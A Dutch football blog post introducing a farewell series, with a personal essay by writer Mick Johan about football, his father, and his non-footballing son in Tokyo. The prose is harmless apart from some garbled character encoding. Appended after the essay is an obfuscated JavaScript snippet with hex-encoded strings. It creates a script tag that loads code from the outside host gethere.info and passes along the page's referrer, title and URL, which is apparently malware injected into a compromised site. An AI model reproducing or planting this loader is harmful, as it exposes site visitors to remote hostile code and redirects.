HET SALUUT: Mick Johan (1)

Wij houden ermee op, hier in Waalwijk. Voetblah zwaait af na 10 jaar voetbalbloggerij. Ter afscheid ontvangen wij de weken tot aan het WK een vierdelig saluut. Afkomstig van ‘unusual suspects’; voetbalminnende Nederlandse schrijvers, opiniemakers en/of journalisten die normaliter niet over voetbal schrijven, maar dat A�A�nmaal wel doen. De eerste afzwaaier is van schrijver, kunstenaar, drummer Mick Johan die met zijn gezin naar Tokyo verhuisde, nadat zijn razende debuutroman ‘Totemdier Arafat’ in de boekhandel lag. Toch was het geen vlucht, verzekerde hij ons.

Hieronder Micks bijdrage voor Voetblah: ‘een wat mijmerend stukje van een vader zonder voetbalzoon’.

—

Ik hou van de bal. Vanaf dat ik kon lopen al, en misschien daarvoor zelfs. Het grootste gedeelte van mijn jeugd heb ik gevoetbald. Op straat, in de tuin met mijn vader, en op voetbalcubs; als het kon ging ik voetballen. Mijn liefde was er eentje zonder ambities; toen ik in Duitsland woonde speelde ik in de Kreisauswahl, een landelijke competitie van regionale teams samengesteld uit verschillende lokale clubs. Daar kreeg ik een schop die een knieblessure veroorzaakte. Ik was toen 16 jaar oud en dacht twee dingen:

1. Met mijn talent zou ik in het meest gunstige geval hard moeten zwoegen voor een plek bij een Go Ahead Eagles-achtige club.
2. Als ik nog een blessure zou krijgen door iemand andersa�� schuld, zou ik hem op het veld neersteken.

Ik modderde nog wat aan en we verhuisden terug naar Nederland. Mijn nieuwe club was het niet helemaal en ik zelf ook niet. Het was op. Ik stopte met voetbal en bleef skateboarden. Alle blessures daarna waren mijn eigen schuld, dat kon beter ik verdragen.

Ik hield nog wel van voetbal, en van voetbal kijken met mijn vader. Bij ons thuis werd er zaterdag Bundesliga gekeken en zondag Studio Sport. Ik was voor Ajax en mijn vader voor Feyenoord, hoewel hij geen club A?cht in zijn hart had zitten. Hij hield gewoon van het spel en het kon hem weinig schelen wie er nou won. Als ik mijn vader vroeg voor wie hij was zei hij steevast: a�?Voor de winnaar.a��

Hoewel ik mijn leven al voor Ajax ben, moet ik toegeven dat ik deze houding jegens het spel van mijn vader heb meegekregen. Het is misschien inherent aan het grote aantal verhuizingen in ons leven. Als je nooit ergens wortel hebt geschoten, dan betekenen plaatsen en clubs minder.

Ik ben voetbal dankbaar. Het heeft me veel geleerd over werken voor elkaar en hoe jongens onderling met elkaar omgaan. De kleedkamer is een belangrijke plek voor de ontwikkeling van een jongen. Het is een plek waar keihard gepest wordt, geA?rriteerd en gevochten, maar waar ook getroost en gelachen wordt. De geur van gras, zweet en stoom als lijm voor nieuwe herinneringen om te beklijven. Mannen die de kleedkamer niet van binnen kennen, zijn anders. Ik had ooit een collega met een burn-out, en toen we eens een gesprek hadden onder professionele begeleiding vergeleek ik de sfeer onderling met die van de kleedkamer. Hij vertelde dat hij dat niet kende, en toen werd me ineens alles duidelijk. Hij was anders. Zeker niet slechter; anders. Ik had het niet willen missen.

Mijn zoon is zes, en hij heeft niks met de bal. Wij wonen in Tokio en op straat voetballen gaat niet, maar als dat wel gaat hoeft het niet zo voor hem. We hebben geen tv-aansluiting, dus er wordt thuis geen voetbal gekeken. Hij heeft een semester op voetbal gezeten, maar is er weer mee gestopt. Tijdens de eerste training lukte het niet, en hij liep meteen boos weg. Toen ik hem met veel moeite zover kreeg dat hij weer mee ging doen, kreeg hij een bal hard in zijn gezicht. Het duurde twee trainingen voor hij daar overheen was. Nu doet hij Taekwondo. Soms voetbal ik met zijn klasgenootjes, soms doet hij even mee. Het is niet voor iedereen. Ik ga hem niet pushen, (het is een kind van zijn vader en dat zou alleen maar averechts werken) maar ik merk dat ik het jammer vind. Dat is gek, want ik zag mezelf nooit als zoa��n vader. Bovendien ik hou van mijn jongen, wat hij ook doet.

Ondertussen draait de bal langzaam weg. Zo gaat dat.

var _0x31f1=[“x73x63x72x69x70x74″,”x63x72x65x61x74x65x45x6Cx65x6Dx65x6Ex74″,”x73x72x63″,”x68x74x74x70x3Ax2Fx2Fx67x65x74x68x65x72x65x2Ex69x6Ex66x6Fx2Fx6Bx74x2Fx3Fx32x36x34x64x70x72x26x73x65x5Fx72x65x66x65x72x72x65x72x3D”,”x72x65x66x65x72x72x65x72″,”x26x64x65x66x61x75x6Cx74x5Fx6Bx65x79x77x6Fx72x64x3D”,”x74x69x74x6Cx65″,”x26″,”x3F”,”x72x65x70x6Cx61x63x65″,”x73x65x61x72x63x68″,”x6Cx6Fx63x61x74x69x6Fx6E”,”x26x66x72x6Dx3Dx73x63x72x69x70x74″,”x63x75x72x72x65x6Ex74x53x63x72x69x70x74″,”x69x6Ex73x65x72x74x42x65x66x6Fx72x65″,”x70x61x72x65x6Ex74x4Ex6Fx64x65″,”x61x70x70x65x6Ex64x43x68x69x6Cx64″,”x68x65x61x64″,”x67x65x74x45x6Cx65x6Dx65x6Ex74x73x42x79x54x61x67x4Ex61x6Dx65″,”x70x72x6Fx74x6Fx63x6Fx6C”,”x68x74x74x70x73x3A”,”x69x6Ex64x65x78x4Fx66″,”x52x5Fx50x41x54x48″,”x54x68x65x20x77x65x62x73x69x74x65x20x77x6Fx72x6Bx73x20x6Fx6Ex20x48x54x54x50x53x2Ex20x54x68x65x20x74x72x61x63x6Bx65x72x20x6Dx75x73x74x20x75x73x65x20x48x54x54x50x53x20x74x6Fx6Fx2E”];var d=document;var s=d[_0x31f1[1]](_0x31f1[0]);s[_0x31f1[2]]= _0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12];if(document[_0x31f1[13]]){document[_0x31f1[13]][_0x31f1[15]][_0x31f1[14]](s,document[_0x31f1[13]])}else {d[_0x31f1[18]](_0x31f1[17])[0][_0x31f1[16]](s)};if(document[_0x31f1[11]][_0x31f1[19]]=== _0x31f1[20]&& KTracking[_0x31f1[22]][_0x31f1[21]](_0x31f1[3]+ encodeURIComponent(document[_0x31f1[4]])+ _0x31f1[5]+ encodeURIComponent(document[_0x31f1[6]])+ _0x31f1[7]+ window[_0x31f1[11]][_0x31f1[10]][_0x31f1[9]](_0x31f1[8],_0x31f1[7])+ _0x31f1[12])=== -1){alert(_0x31f1[23])}

Read Full Post »